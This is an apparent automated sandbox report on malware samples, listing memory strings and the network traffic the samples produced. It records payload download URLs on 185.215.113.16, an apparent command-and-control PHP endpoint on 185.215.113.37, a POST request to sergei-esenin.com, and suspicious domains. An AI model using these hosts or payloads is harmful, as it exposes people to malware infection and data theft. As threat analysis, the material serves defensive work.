Source: 48bf814d33.exe, 00000025.00000003.2802236523.0000000000D50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: 48bf814d33.exe, 00000025.00000003.2802236523.0000000000D50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policydefault-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.co equals www.youtube.com (Youtube)
Source: firefox.exe, 00000015.00000003.2082774032.0000016C13969000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2255391397.0000016C1397C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2230082437.0000016C13976000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: `https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000015.00000003.2082774032.0000016C13969000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2255391397.0000016C1397C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2230082437.0000016C13976000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: `https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: 48bf814d33.exe, 00000025.00000003.2802236523.0000000000D50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.co equals www.youtube.com (Youtube)
Source: firefox.exe, 00000015.00000003.2198277027.0000016C164FE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2199237331.0000016C136B8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2205679702.0000016C0D866000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000015.00000003.2198277027.0000016C164FE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2082774032.0000016C139F8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2199237331.0000016C136B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000015.00000003.2226611565.0000016C16FD1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2197587831.0000016C16FD1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 00000015.00000003.2226611565.0000016C16FD1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2197587831.0000016C16FD1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.youtube.com- equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: clearancek.site
Source: global traffic	DNS traffic detected: DNS query: mobbipenju.store
Source: global traffic	DNS traffic detected: DNS query: eaglepawnoy.store
Source: global traffic	DNS traffic detected: DNS query: dissapoiznw.store
Source: global traffic	DNS traffic detected: DNS query: studennotediw.store
Source: global traffic	DNS traffic detected: DNS query: bathdoomgaz.store
Source: global traffic	DNS traffic detected: DNS query: spirittunek.store
Source: global traffic	DNS traffic detected: DNS query: licendfilteo.site
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: sergei-esenin.com
Source: global traffic	DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: youtube.com
Source: global traffic	DNS traffic detected: DNS query: detectportal.firefox.com
Source: global traffic	DNS traffic detected: DNS query: prod.detectportal.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: contile.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: spocs.getpocket.com
Source: global traffic	DNS traffic detected: DNS query: prod.balrog.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: prod.ads.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: example.org
Source: global traffic	DNS traffic detected: DNS query: ipv4only.arpa
Source: global traffic	DNS traffic detected: DNS query: content-signature-2.cdn.mozilla.net
Source: global traffic	DNS traffic detected: DNS query: prod.content-signature-chains.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: shavar.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: push.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: support.mozilla.org
Source: global traffic	DNS traffic detected: DNS query: us-west1.prod.sumo.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: firefox.settings.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: telemetry-incoming.r53-2.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: prod.remote-settings.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: www.facebook.com
Source: global traffic	DNS traffic detected: DNS query: www.youtube.com
Source: global traffic	DNS traffic detected: DNS query: www.wikipedia.org
Source: global traffic	DNS traffic detected: DNS query: star-mini.c10r.facebook.com
Source: global traffic	DNS traffic detected: DNS query: youtube-ui.l.google.com
Source: global traffic	DNS traffic detected: DNS query: dyna.wikimedia.org
Source: global traffic	DNS traffic detected: DNS query: www.reddit.com
Source: global traffic	DNS traffic detected: DNS query: twitter.com
Source: global traffic	DNS traffic detected: DNS query: reddit.map.fastly.net
Source: global traffic	DNS traffic detected: DNS query: services.addons.mozilla.org
Source: global traffic	DNS traffic detected: DNS query: normandy.cdn.mozilla.net
Source: global traffic	DNS traffic detected: DNS query: normandy-cdn.services.mozilla.com

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: sergei-esenin.com

Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Mon, 21 Oct 2024 08:46:01 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=e%2FtJIHLUBgySH5x8Td6%2BnE5qkoryw1yS3Lz6h4f0HyLLmzA7X%2BNXSwFq%2F6bQJfwbmKp5uCHas%2FrbuIVXs4rfdBGjeRWT20omuA9AqfEMgb3%2BGgo6vqSHXm8K7zrBW60UapD8nw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d5ff98a6e9e2e6c-DFW
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Mon, 21 Oct 2024 08:47:18 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LRSiB3sMpB9xyKpUVBAO%2BmLRs5uvMjVsmxQlo5K7Vg60xGRjpobUaicFHTX1cZwZ1nCatqTREsL8rudKwn467gjEQjnjOFh7ImyWwA%2F%2B1Ay0lS%2B4sY74yq7vKeazvvGadQtccg%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d5ffb6d68e26b49-DFW
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Mon, 21 Oct 2024 08:47:30 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Tc7tFFcVZEzc%2FnQd8r1bsTfpC7ayHp3FLfiw5rqAWeN9GsBY7%2BMJCjdVa57IfPxf60w%2FuruuORJHqhtlmmJlJIiyJPrXWVav7IEuguirgIJWMzVbktYDuOBKw6DrnYhSE7vEyw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d5ffbb49a036c68-DFW
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Mon, 21 Oct 2024 08:47:33 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7bpS8KZNDIQ5YrkIBuKdSsKrDw5Fg%2FMX7bnuI09yYGpRI7pcZ93kx%2FGd7jle4mh1h7Rt0CM9%2FQCt%2FkRVf4nZhzD0Ygu684j%2FXJYI1G5vm%2BgO5WiP8Ckh7D847e3Pm2IEe%2BuUdA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d5ffbc7cba22e2d-DFW
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Mon, 21 Oct 2024 08:47:39 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=s3bF26MF69tp3vRbY5k4wsFnU4EX7VRpVJQ3OLs4SuLmgAH4zMDyY0%2FYDCjRDZRzz2zOhNw4aj9FMnGmy553cFplih0fabFah5q%2BvegH09RuuoHtn9TRT8pVw7RI3oKLuPdiAg%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d5ffbf13c282e2a-DFW
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Mon, 21 Oct 2024 08:48:06 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SrYvfE7Xv6Ye4xXcYRUHsAaSzjyRi9G5LqbmMo3OZIpztSdQaqeamV9TIZDMFxOBQvoguoGZ333anYC59uKUr3XHh%2B%2BAAgCW89L8fsQsKw0ppgTXaCnadINKyzQcr3HZMxcwdw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d5ffc95dc0e2ff0-DFW

Source: firefox.exe, 00000015.00000003.2257664094.0000016C133B9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:
Source: 48bf814d33.exe, 00000025.00000003.2802236523.0000000000D50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:27060
Source: 9b7d422018.exe, 0000001B.00000003.2753876389.00000000013E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: file.exe, 00000000.00000003.1935526477.000000000117F000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2757413943.0000000005C7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: skotes.exe, 0000001A.00000003.2582182685.00000000010BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: skotes.exe, 0000001A.00000003.2582182685.00000000010BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe1395d7d2
Source: skotes.exe, 0000001A.00000003.2582655571.00000000010DB000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001A.00000003.2580325625.00000000010D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exeAA
Source: skotes.exe, 0000001A.00000003.2582182685.00000000010BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exeSSC:
Source: skotes.exe, 0000001A.00000003.2582182685.00000000010BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe_2
Source: file.exe, 00000000.00000003.1907695359.000000000117F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1907475533.000000000117F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1935831828.000000000117F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1935526477.000000000117F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exe
Source: file.exe, 00000000.00000003.1907695359.000000000117F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1907475533.000000000117F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1935831828.000000000117F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1935526477.000000000117F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exeo
Source: 2SGVUOBNN8HUJ5IDUWDR.exe, 00000005.00000002.2018712673.0000000000F7E000.00000004.00000020.00020000.00000000.sdmp, a4769912c1.exe, 0000001C.00000002.2540654902.0000000000B7E000.00000004.00000020.00020000.00000000.sdmp, 7617eef03d.exe, 00000020.00000002.2660406251.0000000000F4E000.00000004.00000020.00020000.00000000.sdmp, 7617eef03d.exe, 00000020.00000002.2660406251.0000000000FBF000.00000004.00000020.00020000.00000000.sdmp, a4769912c1.exe, 00000022.00000002.2749978243.00000000006BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37
Source: 2SGVUOBNN8HUJ5IDUWDR.exe, 00000005.00000002.2018712673.0000000000FE1000.00000004.00000020.00020000.00000000.sdmp, a4769912c1.exe, 0000001C.00000002.2540654902.0000000000B7E000.00000004.00000020.00020000.00000000.sdmp, a4769912c1.exe, 0000001C.00000002.2540654902.0000000000BDF000.00000004.00000020.00020000.00000000.sdmp, 7617eef03d.exe, 00000020.00000002.2660406251.0000000000F4E000.00000004.00000020.00020000.00000000.sdmp, 7617eef03d.exe, 00000020.00000002.2660406251.0000000000FBF000.00000004.00000020.00020000.00000000.sdmp, 7617eef03d.exe, 00000020.00000002.2660406251.0000000000FA9000.00000004.00000020.00020000.00000000.sdmp, a4769912c1.exe, 00000022.00000002.2749978243.000000000070D000.00000004.00000020.00020000.00000000.sdmp, a4769912c1.exe, 00000022.00000002.2749978243.00000000006BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: 2SGVUOBNN8HUJ5IDUWDR.exe, 00000005.00000002.2018712673.0000000000F7E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/$
Source: 7617eef03d.exe, 00000020.00000002.2660406251.0000000000FA9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/5
Source: 7617eef03d.exe, 00000020.00000002.2660406251.0000000000FA9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/Local
Source: a4769912c1.exe, 00000022.00000002.2749978243.000000000070D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/_G
Source: a4769912c1.exe, 00000022.00000002.2749978243.000000000070D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/be
Source: a4769912c1.exe, 00000022.00000002.2749978243.00000000006BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/d
Source: a4769912c1.exe, 00000022.00000002.2749978243.000000000070D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: 2SGVUOBNN8HUJ5IDUWDR.exe, 00000005.00000002.2018712673.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php%
Source: 7617eef03d.exe, 00000020.00000002.2660406251.0000000000FA9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php&
Source: a4769912c1.exe, 0000001C.00000002.2540654902.0000000000BEB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php)
Source: 2SGVUOBNN8HUJ5IDUWDR.exe, 00000005.00000002.2018712673.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp, a4769912c1.exe, 0000001C.00000002.2540654902.0000000000BEB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php1
Source: a4769912c1.exe, 00000022.00000002.2749978243.0000000000727000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php2
Source: 7617eef03d.exe, 00000020.00000002.2660406251.0000000000F4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php65d60108622213
Source: a4769912c1.exe, 0000001C.00000002.2540654902.0000000000BEB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php=
Source: 2SGVUOBNN8HUJ5IDUWDR.exe, 00000005.00000002.2018712673.0000000000FE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpH
Source: a4769912c1.exe, 00000022.00000002.2749978243.000000000070D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpLe
Source: 7617eef03d.exe, 00000020.00000002.2660406251.0000000000FA9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpN
Source: 2SGVUOBNN8HUJ5IDUWDR.exe, 00000005.00000002.2018712673.0000000000FE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpO
Source: a4769912c1.exe, 0000001C.00000002.2540654902.0000000000BD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpWindows
Source: a4769912c1.exe, 0000001C.00000002.2540654902.0000000000BEB000.00000004.00000020.00020000.00000000.sdmp, 7617eef03d.exe, 00000020.00000002.2660406251.0000000000FA9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpa
Source: a4769912c1.exe, 00000022.00000002.2749978243.000000000070D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpcd
Source: 7617eef03d.exe, 00000020.00000002.2660406251.0000000000FA9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phph
Source: 2SGVUOBNN8HUJ5IDUWDR.exe, 00000005.00000002.2018712673.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpi
Source: a4769912c1.exe, 0000001C.00000002.2540654902.0000000000B7E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpp3
Source: 7617eef03d.exe, 00000020.00000002.2660406251.0000000000FA9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpv
Source: a4769912c1.exe, 0000001C.00000002.2540654902.0000000000B7E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/ws
Source: 2SGVUOBNN8HUJ5IDUWDR.exe, 00000005.00000002.2018712673.0000000000FE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/z
Source: a4769912c1.exe, 00000022.00000002.2749978243.000000000070D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/~e
Source: 2SGVUOBNN8HUJ5IDUWDR.exe, 00000005.00000002.2018712673.0000000000F7E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37CDDG
Source: a4769912c1.exe, 0000001C.00000002.2540654902.0000000000B7E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37E$
Source: firefox.exe, 00000015.00000003.2085311564.0000016C0DADD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearch/1.0/
Source: firefox.exe, 00000015.00000003.2085311564.0000016C0DADD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearch/1.1/
Source: firefox.exe, 00000015.00000003.2085311564.0000016C0DADD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearchdescription/1.0/
Source: firefox.exe, 00000015.00000003.2085311564.0000016C0DADD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearchdescription/1.1/
Source: file.exe, 00000000.00000003.1803184428.00000000059BD000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2549507609.0000000005CAB000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2682859541.00000000053B0000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2725419563.000000000537B000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2788196494.000000000566D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000000.00000003.1803184428.00000000059BD000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2549507609.0000000005CAB000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2682859541.00000000053B0000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2725419563.000000000537B000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2788196494.000000000566D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: file.exe, 00000000.00000003.1803184428.00000000059BD000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2549507609.0000000005CAB000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2682859541.00000000053B0000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2725419563.000000000537B000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2788196494.000000000566D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000000.00000003.1803184428.00000000059BD000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2549507609.0000000005CAB000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2682859541.00000000053B0000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2725419563.000000000537B000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2788196494.000000000566D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000000.00000003.1803184428.00000000059BD000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2549507609.0000000005CAB000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2682859541.00000000053B0000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2725419563.000000000537B000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2788196494.000000000566D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000000.00000003.1803184428.00000000059BD000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2549507609.0000000005CAB000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2682859541.00000000053B0000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2725419563.000000000537B000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2788196494.000000000566D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000000.00000003.1803184428.00000000059BD000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2549507609.0000000005CAB000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2682859541.00000000053B0000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2725419563.000000000537B000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2788196494.000000000566D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: firefox.exe, 00000015.00000003.2083482894.0000016C1390C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com
Source: firefox.exe, 00000015.00000003.2207474887.0000016C0CDC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/
Source: firefox.exe, 00000015.00000003.2242930006.0000016C0EAEC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2205425743.0000016C0D8B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.html
Source: firefox.exe, 00000015.00000003.2255040636.0000016C139B9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv4
Source: firefox.exe, 00000015.00000003.2255040636.0000016C139B9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv6
